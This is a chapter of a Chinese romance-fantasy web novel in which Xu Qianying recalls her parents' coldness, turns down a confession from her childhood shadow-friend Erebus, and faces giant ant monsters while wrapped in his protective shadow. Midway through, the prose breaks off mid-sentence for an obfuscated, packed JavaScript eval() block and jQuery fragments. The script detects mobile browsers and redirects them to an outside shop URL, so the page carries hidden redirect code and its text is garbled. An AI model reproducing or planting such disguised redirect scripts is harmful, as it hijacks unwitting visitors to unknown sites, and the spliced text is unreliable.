埃雷伯斯是自己幼时的好友,也是一团影子。
我创造出了一个怪物,现在它在对我告白。
这个认知给徐千盈带了巨大冲击,以至于产生一种荒诞感。
他说他爱我,我现在该怎么办,回应什么。爱?我爱他吗?
徐千盈头脑风暴,她在沉浸思考时,会下意识将关键词念出来。可此时她下巴开合,却怎么都发不出声音。
因为她说不出“爱”。
暖黄色的光晕在徐千盈的黑眸中闪烁,她盯着水晶球,进入记忆的深眠……
长大后,徐千盈醒悟了一个残酷的事实,父母根本就不喜欢小孩子,对幼时的她也很不耐烦。
这也是为什么记忆中父母总是严苛的形象,工作忙碌,给予的陪伴很少。她不记得有听过他们认真对自己说“爱”,更多则是短暂摆出一幅和颜悦色的表情,询问她想要什么奖励。
有次表妹来家里做客,缠着她给自己读图画书,她选了一本兔子封面的,书名叫《猜猜我有多爱你》。绘本的意境很美,连她的声音都不自觉变得柔和,那天应该是她说“爱”最多的一次了。
那晚睡前,看着窗外的月亮,她无比渴望也能有那么一个人,像兔妈妈一样爱着自己,一直到月亮上,再回到她的身边。
这个人会是妈妈吗?她回忆着和母亲相处的点点滴滴,思维逐渐涣散。迷蒙间,她听见母亲上楼的声音,猛地坐起打开台灯,跳下床寻去。
“妈妈,”她听到自己期待的声音,“你有多爱我?”
母亲似乎刚应酬完,西装外套上沾染了不少酒气,听到徐千盈忽然跑过来过这个,脸上闪过一瞬错愕,但脚步不停:“妈妈很爱你,但是妈妈现在太累了,你快去睡觉吧。”
“好的,妈妈你早点休息。”虽然徐千盈很想追问很爱是多爱,但她明白不该再打扰妈妈了,乖乖回了房间。
她闭上眼睛强迫自己入睡,却还是有一滴眼泪顺着脸旁滑落下来,沾湿了鬓发。她不明白自己为什么难过,明明妈妈都说很爱自己了,但泪珠还是像断了线般接踵而至。
“可能‘爱’就是有时很幸福,有时又会让人难过吧,”她想。自那以后,她再也没提过爱。
----------------
对于埃雷伯斯,徐千盈无疑是有好感的,爱却谈不上。现在的埃雷伯斯对她来说仍然有些陌生,即便是童年好友,多年后重逢也需要一个熟悉适应的过程。
爱要用什么来判断呢,是无法控制的靠近,是甘愿袒露的脆弱,还是随心所欲的真实?徐千盈不知道,但她坚定的是,爱是一件严肃的命题,她不可能草草交上答卷:“对不起,我暂时无法回应你。”
长久的沉默本身就是一种暗示,埃雷伯斯早已猜到答案,得到徐千盈的回答,他不悲反喜:“这没有什么对不起的,你本来没有回应我的义务。不过‘暂时无法回应’的话,意思是不是我还有机会?”
他倒是个乐天派,徐千盈有些好笑地想。她点点头,转身离开房间,埃雷伯斯立刻像小狗一样尾随而出。
徐千盈来到花园,坐上那架阔别已久的秋千。她像从前无数次那样,在座椅中央坐稳,用脚抵住地面慢慢向后蹭,达到一个几近站立的高度时松开,以自身重力带动秋千摇荡起来。
座椅很长,就算是成年后的她也无法同时抓住两边的链条,只能展开双臂,向后扒住座椅的靠背上边缘。
即使时隔多年,即便已经成长为所谓大人,她还是能在秋千的摆荡中获得乐趣。风拂过她的脸颊,失重感刺激得她咧着嘴傻笑,一瞬间仿佛回到了童年。
秋天的速度渐渐放缓,她刚想伸腿重新加速,就感受到秋天被推动。她转头,对上了埃雷伯斯的眼睛。
埃雷伯斯回以微笑,用眼神示意她继续玩,不用管自己。
午后阳光正好,灌木散发着清新的气味,徐千盈沉醉在这静谧美好的环境中,有些昏昏欲睡。埃雷伯斯推的秋千很稳,她干脆整个人躺下,蜷缩在宽大的天鹅绒垫上,闭上眼享受。
很少有人愿意帮徐千盈推这么长时间的秋千,她心中生出一股暖洋洋的幸福感。秋千小幅度轻轻摇晃,竟让她产生一种躺在摇篮里的错觉,难以言喻的安全感包裹着她沉沉睡去。
一觉醒来,夕阳只剩下露在地平线外的小半截,天空橙紫相接。秋天还在摆动,徐千盈睁眼,发现埃雷伯斯还贴心地给自己盖了一条薄毯。
“你怎么还在推,不累吗?”她很是感动,同时还有心疼。
埃雷伯斯眉眼弯弯,喜悦清晰可见:“我不会累,你睡得很香。”
徐千盈不禁有些脸红,一把掀开毯子跳下秋千,逃也似的离开现场,在心中嗔怪道:“真是个傻子。”
她前脚进门,后脚埃雷伯斯就跟了进来:“我们今晚在这里睡可以吗?”
徐千盈自然没意见,她很喜欢自己的卧室,所有摆设都是精心挑选。正所谓金窝银窝不如自己的狗窝,虽然她没有认床的习惯,这所房子也没有高科技公寓来得便利,但总归是熟悉的地方最安心。
不对,她突然想到一个问题——她没有带保护膜!那东西是床上必备的,外加她也没想到赛博朋克世界里会出现这么一栋建筑,原以为晒完月亮就会回去,所以压根就没准备带。
“没关系,你忘了吗,我也有保护的作用。”说完,埃雷伯斯倒先不好意思了,扭过头不敢看徐千盈。
“影子”确实也能隔绝气味,但这意味着要让埃雷伯斯完全把她包裹起来啊,徐千盈心中土拨鼠尖叫,这发展是不是有点太快一点!
两个人同床共枕,自己还得被埃雷伯斯裹在他的身体里,这真的好奇怪啊喂!有点像猎奇play是可以说的吗……
没等徐千盈天人交战结束,别墅的大门便传来“砰”“砰”的声响,听起来像是某种东西在用力撞击,体积还不小。
宵来了。
傍晚回来时徐千盈就随手打开了房子里的所有灯,她现在才注意到,屋外的天空不知何时变成了灰蓝色。
黑夜降临,未知的怪物说不定已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787422|190549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经围住了整座房子,在暗处伺机而动。徐千盈攥紧拳头,手紧张得微微冒汗:“现在该怎么做,我们出去吗?”
埃雷伯斯握住她的手以示安慰,温暖而有力:“嗯,你不要怕,我覆在你身上,它们碰不到你的,相信我。”
徐千盈苍白着脸色点头,眼见埃雷伯斯飞速变为一滩黑色物体,从她的脚尖开始向上,迅速爬满了她的整个身体。
这黑色物质极为特殊,徐千盈被严丝合缝包裹,却仍然呼吸自如,甚至能透过它看清眼前的东西,只是色彩变暗了一点。
同时,一缕极淡的檀香钻进徐千盈的鼻腔,和那天晚上她失去意识前闻到的一模一样,看来这是埃雷伯斯本体自带的体香。
“哇哦,”她啧啧称奇,“感觉我现在好像某部漫威电影里的主角。”
“那你只能做个坦克,我只有防御功能,类似铠甲。不过好好练习打斗的话,你也会很强。”埃雷伯斯还能说话,只是发声部位离徐千盈的耳朵很近,像对着她耳朵吹气,弄得她缩着脖子咯咯直笑。
不过这也大大缓解了徐千盈的紧张之情,她试着迈开步子,发现身体格外轻盈。气味消失,宵的砸门声随即停止,但还有几只不死心的在刮挠门板。
为了这栋住宅不被破坏,她鼓起勇气走向大门。推开门,宵的外形映入眼帘,徐千盈沉默了……
她现在完全相信这个世界由是她童年时的幻想构成,因为眼前这些宵,简直就是长了翅膀的巨型蚂蚁。
昆虫,尤其长有多对足的虫,是她最恐惧的生物。三对足的蚂蚁本没有那么可怕,直到某天她看到一则新闻报导,说一男子看病久久未愈,最后竟查出身体里跑进了数只蚂蚁。
医生拿镊子从该男子伤口夹出蚂蚁的画面,一度成为她的童年噩梦。自那以后蚂蚁直接成为她心中最害怕的top1昆虫,每次路上看见蚂蚁她都会快速逃走,自认为安全后还要抬起脚踝凑到眼前,仔细查看有没有蚂蚁顺着爬上她的身体。
无论是这座城市的宵禁,还是宵的样貌,都和她心中最恐惧的事物对上了。她暗骂小时候的自己真是太会找事,非要整个这么针对自己的怪物,现在好了吧。
“别害怕,有我陪着你。”埃雷伯斯温声安慰,作为徐千盈童年的见证者,他当然懂得她对蚂蚁的恐惧。
徐千盈深吸一口气,尽力压住逃跑的欲望,一步一步,慢慢向庭院里的空旷之处走去。门口的宵注意到她,硕大的头部扭向她的方向,锋利的上颚如剪刀般一张一合。
它用触角凑近徐千盈,似乎是想要分辨她是什么东西。徐千盈吓得一动也不敢动,屏气凝神,惊恐地盯着眼前这只巨型蚂蚁。
好在它并未发现任何异常,见别墅内人类的气味也消失了,便转身离去。不知为何,宵们并不喜欢这座房子,只在它二十米开外的地域活动。
大概是埃雷伯斯在这里生活太久,留下了他的气味吧。宵们似乎不太喜欢他,徐千盈觉得自己对埃雷伯斯真是偏爱,什么好的都让他占了,居然还有驱虫效果……